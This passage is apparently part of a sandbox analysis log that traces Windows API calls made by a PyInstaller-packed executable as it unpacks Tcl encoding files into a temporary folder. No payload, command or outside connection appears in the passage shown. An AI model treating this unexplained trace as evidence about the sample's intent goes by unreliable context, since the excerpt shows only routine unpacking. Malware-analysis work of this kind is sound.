lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ascii.enc") returned 68 [0035.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ascii.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\ascii.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.971] GetFileType (hFile=0x10c) returned 0x1 [0035.971] htonl (hostlong=0x42040000) returned 0x442 [0035.971] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.971] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0035.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.972] CloseHandle (hObject=0x10c) returned 1 [0035.973] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550738 | out: hHeap=0x530000) returned 1 [0035.973] htonl (hostlong=0x30000000) returned 0x30 [0035.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.973] GetFileType (hFile=0x10c) returned 0x1 [0035.973] htonl (hostlong=0xccd5000) returned 0x50cd0c [0035.973] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x557d0c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.973] htonl (hostlong=0xd87c0000) returned 0x7cd8 [0035.973] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7cd8) returned 0x560088 [0035.974] htonl (hostlong=0xd87c0000) returned 0x7cd8 [0035.974] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x7000, lpOverlapped=0x0) returned 1 [0035.974] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.974] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.974] htonl (hostlong=0xc96a0100) returned 0x16ac9 [0035.974] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16ac9) returned 0x567d68 [0035.974] htonl (hostlong=0xd87c0000) returned 0x7cd8 [0035.974] htonl (hostlong=0xc96a0100) returned 0x16ac9 [0035.974] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x57e840 [0035.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57e840 | out: hHeap=0x530000) returned 1 [0035.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.977] CloseHandle (hObject=0x10c) returned 1 [0035.977] GetLastError () returned 0x0 [0035.977] SetLastError (dwErrCode=0x0) [0035.977] GetLastError () returned 0x0 [0035.977] SetLastError (dwErrCode=0x0) [0035.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0035.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.977] GetFileType (hFile=0x10c) returned 0x1 [0035.977] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.977] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.977] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.978] CloseHandle (hObject=0x10c) returned 1 [0035.978] GetLastError () returned 0x0 [0035.978] SetLastError (dwErrCode=0x0) [0035.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0035.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.978] GetFileType (hFile=0x10c) returned 0x1 [0035.978] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.978] CloseHandle (hObject=0x10c) returned 1 [0035.978] GetLastError () returned 0x0 [0035.978] SetLastError (dwErrCode=0x0) [0035.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\big5.enc") returned 67 [0035.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\big5.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\big5.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.978] GetLastError () returned 0x2 [0035.978] SetLastError (dwErrCode=0x2) [0035.978] GetLastError () returned 0x2 [0035.978] SetLastError (dwErrCode=0x2) [0035.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\big5.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\big5.enc", lpFilePart=0x0) returned 0x42 [0035.979] GetLastError () returned 0x2 [0035.979] SetLastError (dwErrCode=0x2) [0035.979] GetLastError () returned 0x2 [0035.979] SetLastError (dwErrCode=0x2) [0035.979] GetLastError () returned 0x2 [0035.979] SetLastError (dwErrCode=0x2) [0035.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\big5.enc") returned 67 [0035.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\big5.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\big5.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.979] GetFileType (hFile=0x10c) returned 0x1 [0035.979] htonl (hostlong=0xc96a0100) returned 0x16ac9 [0035.979] WriteFile (in: hFile=0x10c, lpBuffer=0x567d68*, nNumberOfBytesToWrite=0x16000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x567d68*, lpNumberOfBytesWritten=0x4fcd00*=0x16000, lpOverlapped=0x0) returned 1 [0035.981] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.981] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xac9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xac9, lpOverlapped=0x0) returned 1 [0035.981] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.981] CloseHandle (hObject=0x10c) returned 1 [0035.983] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567d68 | out: hHeap=0x530000) returned 1 [0035.984] htonl (hostlong=0x30000000) returned 0x30 [0035.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.984] GetFileType (hFile=0x10c) returned 0x1 [0035.984] htonl (hostlong=0xe4495100) returned 0x5149e4 [0035.984] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x55f9e4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.984] htonl (hostlong=0x27020000) returned 0x227 [0035.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x227) returned 0x550600 [0035.984] htonl (hostlong=0x27020000) returned 0x227 [0035.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.984] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.984] htonl (hostlong=0x43040000) returned 0x443 [0035.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0035.984] htonl (hostlong=0x27020000) returned 0x227 [0035.984] htonl (hostlong=0x43040000) returned 0x443 [0035.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0035.985] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.986] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0035.986] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.986] CloseHandle (hObject=0x10c) returned 1 [0035.986] GetLastError () returned 0x0 [0035.986] SetLastError (dwErrCode=0x0) [0035.986] GetLastError () returned 0x0 [0035.986] SetLastError (dwErrCode=0x0) [0035.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0035.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.986] GetFileType (hFile=0x10c) returned 0x1 [0035.986] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.987] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.987] CloseHandle (hObject=0x10c) returned 1 [0035.987] GetLastError () returned 0x0 [0035.987] SetLastError (dwErrCode=0x0) [0035.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0035.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.987] GetFileType (hFile=0x10c) returned 0x1 [0035.987] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.987] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.987] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.987] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.987] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.987] CloseHandle (hObject=0x10c) returned 1 [0035.987] GetLastError () returned 0x0 [0035.987] SetLastError (dwErrCode=0x0) [0035.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1250.enc") returned 69 [0035.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1250.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1250.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.988] GetLastError () returned 0x2 [0035.988] SetLastError (dwErrCode=0x2) [0035.988] GetLastError () returned 0x2 [0035.988] SetLastError (dwErrCode=0x2) [0035.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1250.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1250.enc", lpFilePart=0x0) returned 0x44 [0035.988] GetLastError () returned 0x2 [0035.988] SetLastError (dwErrCode=0x2) [0035.988] GetLastError () returned 0x2 [0035.988] SetLastError (dwErrCode=0x2) [0035.988] GetLastError () returned 0x2 [0035.988] SetLastError (dwErrCode=0x2) [0035.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1250.enc") returned 69 [0035.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1250.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1250.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.988] GetFileType (hFile=0x10c) returned 0x1 [0035.988] htonl (hostlong=0x43040000) returned 0x443 [0035.988] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.988] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0035.989] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.989] CloseHandle (hObject=0x10c) returned 1 [0035.990] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0035.990] htonl (hostlong=0x30000000) returned 0x30 [0035.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.990] GetFileType (hFile=0x10c) returned 0x1 [0035.990] htonl (hostlong=0xb4c5100) returned 0x514c0b [0035.990] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x55fc0b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.990] htonl (hostlong=0x1a020000) returned 0x21a [0035.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21a) returned 0x550600 [0035.990] htonl (hostlong=0x1a020000) returned 0x21a [0035.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.990] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.990] htonl (hostlong=0x43040000) returned 0x443 [0035.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0035.990] htonl (hostlong=0x1a020000) returned 0x21a [0035.990] htonl (hostlong=0x43040000) returned 0x443 [0035.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0035.991] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.991] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0035.991] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.991] CloseHandle (hObject=0x10c) returned 1 [0035.991] GetLastError () returned 0x0 [0035.991] SetLastError (dwErrCode=0x0) [0035.991] GetLastError () returned 0x0 [0035.991] SetLastError (dwErrCode=0x0) [0035.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0035.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.991] GetFileType (hFile=0x10c) returned 0x1 [0035.992] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.992] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 